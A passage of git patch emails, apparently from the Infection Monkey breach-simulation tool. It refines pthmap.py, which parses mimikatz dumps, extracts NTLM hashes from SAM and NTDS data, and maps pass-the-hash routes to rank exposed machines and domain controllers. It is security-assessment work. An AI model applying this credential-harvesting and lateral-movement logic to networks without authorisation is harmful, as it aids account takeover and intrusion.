self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username @@ -395,34 +400,29 @@ class PassTheHashMap(object): print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) def GetSecretBySid(self, sid): - for m in self.vertices: - for user, user_secret in m.GetLocalSecrets(): + for m in self.machines: + for user, user_secret in m.GetLocalSecrets().iteritems(): if m.GetSidByUsername(user) == sid: return user_secret return None - def GetAttackableMachineCountBySid(self, sid): + def GetVictimCountBySid(self, sid): count = 0 - for m in self.vertices: + for m in self.machines: if sid in m.GetLocalAdmins(): count += 1 return count - def GetAttackableMachineCountByMachine(self, attacker): - count = 0 - - for secret in attack.GetCachedSecrets(): - count += len(m.GetAttackableMachinesBySecret(secret)) - - return count + def GetVictimCountByMachine(self, attacker): + return len(self.GetVictimsByAttacker(attacker)) def GetSecretCacheCount(self, secret): count = 0 - for m in self.vertices: + for m in self.machines: if secret in m.GetCachedSecrets(): count += 1 @@ -439,7 +439,7 @@ class PassTheHashMap(object): def GetAllSids(self): SIDs = set() - for m in self.vertices: + for m in self.machines: SIDs |= m.GetLocalSids() return SIDs @@ -447,16 +447,14 @@ class PassTheHashMap(object): def GetAllSecrets(self): secrets = set() - for m in self.vertices: + for m in self.machines: for secret in m.GetLocalAdminSecrets(): - secret.add(secret) - #secrets[secret]["cache_count"] = self.GetSecretCacheCount(secret) - #secrets[secret]["sid_count"] = len(self.GetSidsBySecret(secret)) + secrets.add(secret) return secrets def GetUsernameBySid(self, sid): - for m in self.vertices: + for m in self.machines: username = m.GetUsernameBySid(sid) if username: @@ -467,7 +465,7 @@ class PassTheHashMap(object): def GetSidsBySecret(self, secret): SIDs = set() - for m in self.vertices: + for m in self.machines: SIDs.add(m.GetSidBySecret(secret)) return SIDs @@ -475,37 +473,37 @@ class PassTheHashMap(object): def GetAllDomainControllers(self): DCs = set() - for m in self.vertices: + for m in self.machines: if m.IsDomainController(): DCs.add(m) + + return DCs def GetSidsByUsername(self, username): - doc = self.latest_system_info - SIDs = set() - for m in self.vertices: + for m in self.machines: sid = m.GetSidByUsername(username) if sid: SIDs.add(sid) return SIDs - def GetAttackableMachinesBySid(self, sid): + def GetVictimsBySid(self, sid): machines = set() - for m in self.vertices: + for m in self.machines: if sid in m.GetAdmins(): machines.add(m) return machines - def GetAttackableMachinesBySecret(self, secret): + def GetVictimsBySecret(self, secret): machines = set() SIDs = self.GetSidsBySecret(secret) - for m in self.vertices: + for m in self.machines: if len(SIDs & m.GetAdmins()) > 0: machines.add(m) @@ -514,7 +512,7 @@ class PassTheHashMap(object): def GetAttackersBySecret(self, secret): machines = set() - for m in self.vertices: + for m in self.machines: if secret in m.GetCachedSecrets(): machines.add(m) @@ -523,12 +521,21 @@ class PassTheHashMap(object): def GetAttackersByVictim(self, victim): attackers = set() - for atck, vic in self.edge: + for atck, vic, _ in self.edges: if vic == victim: attackers.add(atck) return attackers + def GetVictimsByAttacker(self, attacker): + victims = set() + + for atck, vic, _ in self.edges: + if atck == attacker: + victims.add(vic) + + return victims + def main(): pth = PassTheHashMap() @@ -536,7 +543,7 @@ def main(): print "

      Duplicated Passwords

      " print "

      How many users share each secret?

      " - dups = dict(map(lambda x: (x, len(self.GetSidsBySecret(x))), pth.GetAllSecrets())) + dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) print """""" print """SecretUser Count""" @@ -546,7 +553,7 @@ def main(): print "

      Cached Passwords

      " print "

      On how many machines each secret is cached?

      " - cache_counts = dict(map(lambda x: (x, self.GetSecretCacheCount(x)), pth.GetAllSecrets())) + cache_counts = dict(map(lambda x: (x, pth.GetSecretCacheCount(x)), pth.GetAllSecrets())) print """""" print """SecretMachine Count""" @@ -556,7 +563,7 @@ def main(): print "

      User's Creds

      " print "

      To how many machines each user is able to connect with admin rights?

      " - attackable_counts = dict(map(lambda x: (x, self.GetAttackableMachineCountBySid(x)), pth.GetAllSids())) + attackable_counts = dict(map(lambda x: (x, pth.GetVictimCountBySid(x)), pth.GetAllSids())) print """""" print """SIDUsernameMachine Count""" @@ -566,7 +573,7 @@ def main(): print "

      Machine's Creds

      " print "

      To how many machines each machine is able to directly connect with admin rights?

      " - attackable_counts = dict(map(lambda m: (m, pth.GetAttackableMachineCountByMachine(m)), pth.vertices)) + attackable_counts = dict(map(lambda m: (m, pth.GetVictimCountByMachine(m)), pth.machines)) print """""" print """Attacker IpAttacker HostnameDomain NameVictim Machine Count""" @@ -586,9 +593,9 @@ def main(): print "
      " - for m in pth.vertices: + for m in pth.machines: print """

      Machine '{ip}'

      -

      Hostname '{hostname}'

      """.format{ip=m.GetIp(), hostname=m.GetHostName()} +

      Hostname '{hostname}'

      """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """

      Cached SIDs

      """ print """

      SIDs cached on this machine

      """ @@ -619,7 +626,7 @@ def main(): print """

      Matching SIDs

      """ print """
        """ - for sid in pth.GetSidsByUsername(username) + for sid in pth.GetSidsByUsername(username): print """
      • {username} ({sid})
      • """.format(username=m.GetUsernameBySid(sid), sid=sid) print """
      """ @@ -633,7 +640,7 @@ def main(): print """

      Attackable Machines

      """ print """
        """ - for m in pth.GetAttackableMachinesBySid(sid) + for m in pth.GetVictimsBySid(sid): print """
      • {ip} ({hostname})
      • """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """
      """ @@ -648,7 +655,7 @@ def main(): print """

      Attackable Machines with that secret

      """ print """
        """ - for m in pth.GetAttackableMachinesBySecret(secret): + for m in pth.GetVictimsBySecret(secret): print """
      • {hostname}
      • """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """
      """ From 3291e4f0bc5e71e25db57e8ecee94a90e887e7b7 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 00:01:43 -0800 Subject: [PATCH 029/243] fix html tableS --- monkey_island/cc/resources/pthmap.py | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 222762e47..3e3b78549 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -545,51 +545,51 @@ def main(): print "

      How many users share each secret?

      " dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) - print """""" + print """""" print """""" for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(secret=secret, count=count) - print """""" + print """""".format(secret=secret, count=count) + print """
      SecretUser Count
      {secret}{count}
      {secret}{count}
      """ print "

      Cached Passwords

      " print "

      On how many machines each secret is cached?

      " cache_counts = dict(map(lambda x: (x, pth.GetSecretCacheCount(x)), pth.GetAllSecrets())) - print """""" + print """""" print """""" for secret, count in sorted(cache_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(secret=secret, count=count) - print """""" + print """""".format(secret=secret, count=count) + print """
      SecretMachine Count
      {secret}{count}
      {secret}{count}
      """ print "

      User's Creds

      " print "

      To how many machines each user is able to connect with admin rights?

      " attackable_counts = dict(map(lambda x: (x, pth.GetVictimCountBySid(x)), pth.GetAllSids())) - print """""" + print """""" print """""" for sid, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) - print """""" + print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) + print """
      SIDUsernameMachine Count
      {sid}{username}{count}
      {sid}{username}{count}
      """ print "

      Machine's Creds

      " print "

      To how many machines each machine is able to directly connect with admin rights?

      " attackable_counts = dict(map(lambda m: (m, pth.GetVictimCountByMachine(m)), pth.machines)) - print """""" + print """""" print """""" for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) - print """""" + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """
      Attacker IpAttacker HostnameDomain NameVictim Machine Count
      {ip}{hostname}{domain}{count}
      {ip}{hostname}{domain}{count}
      """ print "

      Domain Controllers

      " print "

      List of domain controllers (we count them as critical points, so they are listed here)

      " DCs = pth.GetAllDomainControllers() - print """""" + print """""" print """""" for m in DCs: print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName()) - print """""" + print """
      DC IpDC HostnameDomain Name
      {ip}{hostname}{domain}
      """ print "
      " From 458cc20cebae8ebe7d614993d3e579e4164ffe4b Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 00:03:55 -0800 Subject: [PATCH 030/243] small fixes --- monkey_island/cc/resources/pthmap.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 3e3b78549..3ad75d366 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -466,7 +466,10 @@ class PassTheHashMap(object): SIDs = set() for m in self.machines: - SIDs.add(m.GetSidBySecret(secret)) + sid = m.GetSidBySecret(secret) + + if sid: + SIDs.add(sid) return SIDs @@ -650,7 +653,7 @@ def main(): print """

      SIDs that use that secret

      """ print """
        """ for sid in pth.GetSidsBySecret(secret): - print """
      • {username} ({sid})
      • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
      • {username} ({sid})
      • """.format(username=pth.GetUsernameBySid(sid), sid=sid) print """
      """ print """

      Attackable Machines with that secret

      """ From 1ee53972a8dfa70410d5537f2405a271ac1eef18 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 06:47:29 -0800 Subject: [PATCH 031/243] small fixeS --- monkey_island/cc/resources/pthmap.py | 52 ++++++++++++++++++++++------ 1 file changed, 41 insertions(+), 11 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 3ad75d366..65a3c86a5 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -408,13 +408,7 @@ class PassTheHashMap(object): return None def GetVictimCountBySid(self, sid): - count = 0 - - for m in self.machines: - if sid in m.GetLocalAdmins(): - count += 1 - - return count + return len(self.GetVictimsBySid(sid)) def GetVictimCountByMachine(self, attacker): return len(self.GetVictimsByAttacker(attacker)) @@ -538,6 +532,32 @@ class PassTheHashMap(object): victims.add(vic) return victims + + def GetInPathCountByVictim(self, victim, already_processed=None): + if type(victim) != unicode: + victim = victim.monkey_guid + + if not already_processed: + already_processed = set([victim]) + + count = 0 + + for atck, vic, _ in self.edges: + if atck == vic: + continue + + if vic != victim: + continue + + if atck in already_processed: + continue + + count += 1 + + already_processed.add(atck) + count += self.GetInPathCountByVictim(atck, already_processed) + + return count def main(): pth = PassTheHashMap() @@ -586,12 +606,22 @@ def main(): print "

      Domain Controllers

      " print "

      List of domain controllers (we count them as critical points, so they are listed here)

      " - DCs = pth.GetAllDomainControllers() + DCs = dict(map(lambda m: (m, pth.GetInPathCountByVictim(m)), pth.GetAllDomainControllers())) print """""" - print """""" - for m in DCs: - print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName()) + print """""" + for m, path_count in sorted(DCs.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), path_count=path_count) + print """
      DC IpDC HostnameDomain Name
      {ip}{hostname}{domain}
      DC IpDC HostnameDomain NameIn-Path Count
      {ip}{hostname}{domain}{path_count}
      """ + + print "

      Most Vulnerable Machines

      " + print "

      List all machines in the network sorted by the potincial to attack them

      " + all_machines = dict(map(lambda m: (m, pth.GetInPathCountByVictim(m)), pth.machines)) + + print """""" + print """""" + for m, path_count in sorted(all_machines.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), path_count=path_count) print """
      IpHostnameDomain NameIn-Path Count
      {ip}{hostname}{domain}{path_count}
      """ print "
      " From e0b64ee63be88d51b8218b80cdcd807932a8f4fa Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 06:48:03 -0800 Subject: [PATCH 032/243] cosmetics --- monkey_island/cc/resources/pthmap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 65a3c86a5..7b513efa2 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -591,7 +591,7 @@ def main(): print """""" print """""" for sid, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) + print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) print """
      SIDUsernameMachine Count
      {sid}{username}{count}
      {sid}{username}{count}
      """ print "

      Machine's Creds

      " @@ -667,8 +667,8 @@ def main(): for sid in pth.GetAllSids(): print """

      SID '{sid}'

      -

      Username: '{username}'

      -

      Secret: '{secret}'

      +

      Username: '{username}'

      +

      Secret: '{secret}'

      """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid)) print """

      Attackable Machines

      """ From ce1c8a54f828e664dabd3949d9bf8ce0d2032ca5 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 7 Mar 2018 07:45:48 -0800 Subject: [PATCH 033/243] show only real attacks in the graph --- monkey_island/cc/resources/pthmap.py | 73 +++++++++++++--------------- 1 file changed, 35 insertions(+), 38 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 7b513efa2..46e49ad6d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -116,18 +116,20 @@ class Machine(object): return None - def GetUsernameBySecret(self, secret): + def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() - for user, user_secret in sam.iteritems(): + names = set() + + for username, user_secret in sam.iteritems(): if secret == user_secret: - return user + names.add(username) - return None + return names - def GetSidBySecret(self, secret): - username = self.GetUsernameBySecret(secret) - return self.GetSidByUsername(username) + def GetSidsBySecret(self, secret): + usernames = self.GetUsernamesBySecret(secret) + return set(map(self.GetSidByUsername, usernames)) def GetGroupSidByGroupName(self, group_name): doc = self.latest_system_info @@ -234,25 +236,31 @@ class Machine(object): secrets.update(ntds) return secrets - + def GetLocalAdminSecrets(self): + return set(self.GetLocalAdminCreds().values()) + + def GetLocalAdminCreds(self): admin_names = self.GetLocalAdminNames() sam = self.GetLocalSecrets() - admin_secrets = set() + admin_creds = dict() - for user, secret in sam.iteritems(): - if user not in admin_names: + for username, secret in sam.iteritems(): + if username not in admin_names: continue - admin_secrets.add(secret) + admin_creds[username] = secret - return admin_secrets + return admin_creds def GetCachedSecrets(self): + return set(self.GetCachedCreds().values()) + + def GetCachedCreds(self): doc = self.latest_system_info - secrets = set() + creds = dict() for username in doc["data"]["credentials"]: user = doc["data"]["credentials"][username] @@ -265,9 +273,10 @@ class Machine(object): continue secret = hashlib.md5(ntlm.decode("hex")).hexdigest() - secrets.add(secret) + + creds[username] = secret - return secrets + return creds def GetDomainControllers(self): domain_name = self.GetDomainName() @@ -347,10 +356,7 @@ class PassTheHashMap(object): label = set() for secret in secret_list: - username = Machine(victim).GetUsernameBySecret(secret) - - if username: - label.add(username) + label |= Machine(victim).GetUsernamesBySecret(secret) return ",\n".join(label) @@ -370,16 +376,16 @@ class PassTheHashMap(object): def GenerateEdgesBySamHash(self): for attacker in self.vertices: - cached = Machine(attacker).GetCachedSecrets() + cached_creds = set(Machine(attacker).GetCachedCreds().items()) for victim in self.vertices: if attacker == victim: continue - admins = Machine(victim).GetLocalAdminSecrets() + admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - if len(cached & admins) > 0: - label = self.ReprSecretList(cached & admins, victim) + if len(cached_creds & admin_creds) > 0: + label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) self.edges.add((attacker, victim, label)) def GenerateEdgesByUsername(self): @@ -413,14 +419,8 @@ class PassTheHashMap(object): def GetVictimCountByMachine(self, attacker): return len(self.GetVictimsByAttacker(attacker)) - def GetSecretCacheCount(self, secret): - count = 0 - - for m in self.machines: - if secret in m.GetCachedSecrets(): - count += 1 - - return count + def GetAttackCountBySecret(self, secret): + return len(self.GetAttackersBySecret(secret)) def GetAllUsernames(self): names = set() @@ -460,10 +460,7 @@ class PassTheHashMap(object): SIDs = set() for m in self.machines: - sid = m.GetSidBySecret(secret) - - if sid: - SIDs.add(sid) + SIDs |= m.GetSidsBySecret(secret) return SIDs @@ -575,8 +572,8 @@ def main(): print """""" print "

      Cached Passwords

      " - print "

      On how many machines each secret is cached?

      " - cache_counts = dict(map(lambda x: (x, pth.GetSecretCacheCount(x)), pth.GetAllSecrets())) + print "

      On how many machines each secret is cached (possible attacker count)?

      " + cache_counts = dict(map(lambda x: (x, pth.GetAttackCountBySecret(x)), pth.GetAllSecrets())) print """""" print """""" From 8807e68177b8f59d31dc52074d93bc311859efde Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sat, 10 Mar 2018 23:18:53 -0800 Subject: [PATCH 034/243] add posssible attacks per sid --- monkey_island/cc/resources/pthmap.py | 36 +++++++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 46e49ad6d..6caad92fc 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -405,6 +405,30 @@ class PassTheHashMap(object): print map(lambda x: Machine(x).GetIp(), self.vertices) print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) + def GetPossibleAttackCountBySid(self, sid): + return len(self.GetPossibleAttacksBySid(sid)) + + def GetPossibleAttacksBySid(self, sid): + attacks = set() + + for attacker in self.vertices: + cached_creds = set(Machine(attacker).GetCachedCreds().items()) + + for victim in self.vertices: + if attacker == victim: + continue + + admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) + + if len(cached_creds & admin_creds) > 0: + curr_attacks = dict(cached_creds & admin_creds) + + for username, secret in curr_attacks.iteritems(): + if Machine(victim).GetSidByUsername(username) == sid: + attacks.add((attacker, victim)) + + return attacks + def GetSecretBySid(self, sid): for m in self.machines: for user, user_secret in m.GetLocalSecrets().iteritems(): @@ -582,7 +606,7 @@ def main(): print """
      SecretMachine Count
      """ print "

      User's Creds

      " - print "

      To how many machines each user is able to connect with admin rights?

      " + print "

      To how many machines each user is able to connect with admin rights

      " attackable_counts = dict(map(lambda x: (x, pth.GetVictimCountBySid(x)), pth.GetAllSids())) print """""" @@ -591,6 +615,16 @@ def main(): print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) print """
      {sid}{username}{count}
      """ + print "

      Actual Possible Attacks By SID

      " + print "

      How many attacks possible using each SID (aka len(attacker->victim pairs))

      " + possible_attacks_by_sid = dict(map(lambda x: (x, pth.GetPossibleAttackCountBySid(x)), pth.GetAllSids())) + + print """""" + print """""" + for sid, count in sorted(possible_attacks_by_sid.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) + print """
      SIDUsernameMachine Count
      {sid}{username}{count}
      """ + print "

      Machine's Creds

      " print "

      To how many machines each machine is able to directly connect with admin rights?

      " attackable_counts = dict(map(lambda m: (m, pth.GetVictimCountByMachine(m)), pth.machines)) From 96c9681bf1bd036df54038dbd90cbf3fa59abd90 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sat, 10 Mar 2018 23:58:51 -0800 Subject: [PATCH 035/243] eliminate some 'None'-s from the report --- monkey_island/cc/resources/pthmap.py | 23 ++++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 6caad92fc..4f2831d8e 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -95,6 +95,13 @@ class Machine(object): continue return eval(user["SID"]) + + if not self.IsDomainController(): + for dc in self.GetDomainControllers(): + sid = dc.GetSidByUsername(username) + + if sid != None: + return sid return None @@ -305,7 +312,12 @@ class Machine(object): SIDs = set() for username in doc["data"]["credentials"]: - SIDs.add(self.GetSidByUsername(username)) + sid = self.GetSidByUsername(username) + + if not sid: + sid = "__USERNAME__" + username + + SIDs.add(sid) return SIDs @@ -665,7 +677,12 @@ def main(): print """

      SIDs cached on this machine

      """ print """
        """ for sid in m.GetCachedSids(): - print """
      • {username} ({sid})
      • """.format(username=m.GetUsernameBySid(sid), sid=sid) + if sid.startswith("__USERNAME__"): + sids = pth.GetSidsByUsername(sid[len("__USERNAME__"):]) + if len(sids) == 1: + sid = sids.pop() + + print """
      • {username} ({sid})
      • """.format(username=pth.GetUsernameBySid(sid), sid=sid) print """
      """ print """

      Possible Attackers

      """ @@ -691,7 +708,7 @@ def main(): print """

      Matching SIDs

      """ print """
        """ for sid in pth.GetSidsByUsername(username): - print """
      • {username} ({sid})
      • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
      • {username} ({sid})
      • """.format(username=pth.GetUsernameBySid(sid), sid=sid) print """
      """ print "
      " From 38c499f6b19069d0c5a99396b5fa32eeb709fd78 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 1 Apr 2018 05:24:40 -0700 Subject: [PATCH 036/243] able to run island server --- monkey_island/cc/resources/pthmap.py | 24 ++++++++++++++++-------- 1 file changed, 16 insertions(+), 8 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 4f2831d8e..2b8890193 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -1,10 +1,3 @@ -#import flask_restful -# -#from cc.auth import jwt_required -#from cc.services.edge import EdgeService -#from cc.services.node import NodeService -#from cc.database import mongo - import hashlib import binascii from pymongo import MongoClient @@ -14,7 +7,7 @@ class mongo(object): #class PthMap(flask_restful.Resource): class PthMap(object): -# @jwt_required() + #@jwt_required() def get(self, **kw): graph = PassTheHashMap() @@ -24,6 +17,21 @@ class PthMap(object): "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] } +if not __name__ == "__main__": + import flask_restful + + from cc.auth import jwt_required + from cc.services.edge import EdgeService + from cc.services.node import NodeService + from cc.database import mongo + + PthMapOrig = PthMap + + class PthMap(flask_restful.Resource): + @jwt_required() + def get(self, **kw): + return PthMapOrig.get(self, **kw) + DsRole_RoleStandaloneWorkstation = 0 DsRole_RoleMemberWorkstation = 1 DsRole_RoleStandaloneServer = 2 From 84998849956e1dff9e49660e14ede92348f60627 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 1 Apr 2018 08:11:22 -0700 Subject: [PATCH 037/243] fix registry enum bug --- infection_monkey/system_info/windows_info_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 9b5e12d7f..cf821fa45 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -131,7 +131,7 @@ class WindowsInfoCollector(InfoCollector): key = _winreg.ConnectRegistry(None, store) subkey = _winreg.OpenKey(key, subkey_path) - d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) + d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[1])]) d = fix_obj_for_mongo(d) self.info[subkey_path] = d From fc850726decea40416d4aef96386c88c18b6e044 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 2 Apr 2018 01:41:06 -0700 Subject: [PATCH 038/243] fix utf8 bug --- infection_monkey/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index e62820816..6e41938fe 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -23,7 +23,7 @@ def _cast_by_example(value, example): """ example_type = type(example) if example_type is str: - return str(os.path.expandvars(value)) + return os.path.expandvars(value).encode("utf8") elif example_type is tuple and len(example) != 0: if value is None or value == tuple(None): return tuple() From 990e68fc4dd0c926a96ce31d680d9511c3f7168b Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 3 Apr 2018 10:47:10 +0300 Subject: [PATCH 039/243] Add cache to boost performance and a few more fixes --- monkey_island/cc/resources/pthmap.py | 228 ++++++++++++++++++++++----- 1 file changed, 185 insertions(+), 43 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 2b8890193..b652c86df 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -43,6 +43,57 @@ def myntlm(x): hash = hashlib.new('md4', x.encode('utf-16le')).digest() return str(binascii.hexlify(hash)) +def cache(foo): + def hash(o): + if type(o) in (int, float, str, unicode): + return o + + elif type(o) in (list, tuple): + hashed = tuple([hash(x) for x in o]) + + if "NotHashable" in hashed: + return "NotHashable" + + return hashed + + elif type(o) == dict: + hashed_keys = tuple([hash(k) for k, v in o.iteritems()]) + hashed_vals = tuple([hash(v) for k, v in o.iteritems()]) + + if "NotHashable" in hashed_keys or "NotHashable" in hashed_vals: + return "NotHashable" + + return tuple(zip(hashed_keys, hashed_vals)) + + elif type(o) == Machine: + return o.monkey_guid + + elif type(o) == PthMap: + return "PthMapSingleton" + + elif type(o) == PassTheHashMap: + return "PassTheHashMapSingleton" + + else: + return "NotHashable" + + def wrapper(*args, **kwargs): + hashed = (hash(args), hash(kwargs)) + + if "NotHashable" in hashed: + print foo + return foo(*args, **kwargs) + + if not hasattr(foo, "_mycache_"): + foo._mycache_ = dict() + + if hashed not in foo._mycache_.keys(): + foo._mycache_[hashed] = foo(*args, **kwargs) + + return foo._mycache_[hashed] + + return wrapper + class Machine(object): def __init__(self, monkey_guid): self.monkey_guid = str(monkey_guid) @@ -52,6 +103,7 @@ class Machine(object): if self.latest_system_info.count() > 0: self.latest_system_info = self.latest_system_info[0] + @cache def GetMimikatzOutput(self): doc = self.latest_system_info @@ -60,6 +112,7 @@ class Machine(object): return doc["data"]["mimikatz"] + @cache def GetHostName(self): doc = self.latest_system_info @@ -68,6 +121,7 @@ class Machine(object): return None + @cache def GetIp(self): doc = self.latest_system_info @@ -76,6 +130,7 @@ class Machine(object): return None + @cache def GetDomainName(self): doc = self.latest_system_info @@ -83,7 +138,8 @@ class Machine(object): return eval(comp["Domain"]) return None - + + @cache def GetDomainRole(self): doc = self.latest_system_info @@ -92,9 +148,11 @@ class Machine(object): return None + @cache def IsDomainController(self): return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) + @cache def GetSidByUsername(self, username): doc = self.latest_system_info @@ -113,6 +171,7 @@ class Machine(object): return None + @cache def GetUsernameBySid(self, sid): doc = self.latest_system_info @@ -130,7 +189,8 @@ class Machine(object): return username return None - + + @cache def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() @@ -142,10 +202,12 @@ class Machine(object): return names + @cache def GetSidsBySecret(self, secret): usernames = self.GetUsernamesBySecret(secret) return set(map(self.GetSidByUsername, usernames)) + @cache def GetGroupSidByGroupName(self, group_name): doc = self.latest_system_info @@ -157,6 +219,7 @@ class Machine(object): return None + @cache def GetUsersByGroupSid(self, sid): doc = self.latest_system_info @@ -173,6 +236,7 @@ class Machine(object): return users + @cache def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "data.Win32_ComputerSystem.Domain":"u'%s'" % (domain_name,)}) @@ -186,9 +250,11 @@ class Machine(object): return GUIDs + @cache def GetLocalAdmins(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) + @cache def GetLocalSids(self): doc = self.latest_system_info @@ -199,9 +265,11 @@ class Machine(object): return SIDs + @cache def GetLocalAdminNames(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) - + + @cache def GetSam(self): if not self.GetMimikatzOutput(): return {} @@ -211,16 +279,26 @@ class Machine(object): if mimikatz.count("\n42.") != 2: return {} - sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] + try: + sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] - sam = {} - - for sam_user_txt in sam_users: - sam_user = dict([map(unicode.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - sam[sam_user["User"]] = sam_user["NTLM"].replace("[hashed secret]", "").strip() - - return sam - + sam = {} + + for sam_user_txt in sam_users: + sam_user = dict([map(unicode.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + + ntlm = sam_user["NTLM"] + if "[hashed secret]" not in ntlm: + continue + + sam[sam_user["User"]] = ntlm.replace("[hashed secret]", "").strip() + + return sam + + except: + return {} + + @cache def GetNtds(self): if not self.GetMimikatzOutput(): return {} @@ -243,6 +321,7 @@ class Machine(object): return ntds + @cache def GetLocalSecrets(self): sam = self.GetSam() ntds = self.GetNtds() @@ -251,10 +330,12 @@ class Machine(object): secrets.update(ntds) return secrets - + + @cache def 